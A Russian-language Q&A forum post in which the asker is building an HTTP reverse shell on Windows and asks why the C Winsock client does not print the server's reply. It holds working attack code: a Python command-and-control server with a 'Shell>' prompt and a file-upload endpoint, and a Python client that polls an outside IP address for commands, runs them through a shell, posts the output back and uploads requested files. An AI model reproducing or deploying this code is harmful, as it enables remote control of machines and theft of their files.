Winsock, получить ответ HTML - PullRequest
       12

Winsock, получить ответ HTML

0 голосов
/ 02 февраля 2019

Я пытаюсь создать обратную оболочку по http, и мой сервер просто ждет соединения, и когда оно установлено, я пишу в html команду для выполнения

#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")
int main(int argc , char *argv[]){
    WSADATA wsa;
    SOCKET s;
    char *source="";
    int i=0;
    struct sockaddr_in server;
    char *htmlRequest , htmlResponse[2000];
    int recv_size;
    if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
        return 1;
    if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
        return 1;
    server.sin_addr.s_addr = inet_addr("127.0.0.1");
    server.sin_family = AF_INET;
    server.sin_port = htons(80);
    if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
        return 1;
    htmlRequest = "GET / HTTP/1.1\nAccept: text/plain, text/html\n\r\n\r\n\r\n\r\n";
    if( send(s , htmlRequest , strlen(htmlRequest) , 0) < 0)
        return 1;
    recv_size = recv(s , htmlResponse, sizeof(htmlResponse) , 0);
    htmlResponse[recv_size] = '\0';
    printf("%s",htmlResponse);
    return 0;
}

И сервер py:

import BaseHTTPServer
import os,cgi
HOST_NAME = '0.0.0.0'
PORT_NUMBER = 80 
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): 

    def do_GET(s):

        command = raw_input("Shell> ")
        s.send_response(200)
        s.send_header("Content-type", "text/html")  
        s.end_headers()
        s.wfile.write(command)
    def do_POST(s):

        if s.path=='/store': 
            try:
                ctype,pdict=cgi.parse_header(s.headers.getheader('content-type'))
                if ctype=='multipart/form-data':
                    fs=cgi.FieldStorage(fp=s.rfile,headers=s.headers,environ={'REQUEST_METHOD':'POST'})
                else:
                    print "[-] Unexpected POST request"
                fs_up=fs['file']
                with open('C:\Users\user\Desktop\demo.txt','wb') as o: 
                    o.write(fs_up.file.read())
                    s.send_response(200)
                    s.end_headers()
            except Exception as e:
                    print e
            return 
        s.send_response(200)                        
        s.end_headers()
        length  = int(s.headers['Content-Length'])                                    
        postVar = s.rfile.read(length) 
        print postVar

if __name__ == '__main__':    

    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)

    try:     
        httpd.serve_forever()
    except KeyboardInterrupt:   
        print '[!] Server is terminated'
httpd.server_close()

Проблема в том, что когда я записываю команду на свою веб-страницу, она пишет идеально, но мой клиент "c" не показывает html, но когда я пытаюсь получить html другой веб-страницы, она отлично работаетЯ пытаюсь сделать "клиент" в Py и его работу

import requests    
import subprocess 
import time
import os

while True: 

    req = requests.get('http://188.153.153.21')     
    command = req.text                            
    if 'terminate' in command:
        break 

    elif 'grab' in command:
        grab,path=command.split('*')

        if os.path.exists(path):
            url='http://127.0.0.1/store'
            files = {'file': open(path, 'rb')} 
            r=requests.post(url, files=files)

        else:
            post_response = requests.post(url='http://127.0.0.1', data='[-] Not able to find the file !' )
    else:
        CMD =  subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True)
        post_response = requests.post(url='http://127.0.0.1', data=CMD.stdout.read() ) 
        post_response = requests.post(url='http://127.0.0.1', data=CMD.stderr.read() )  
    time.sleep(1)
...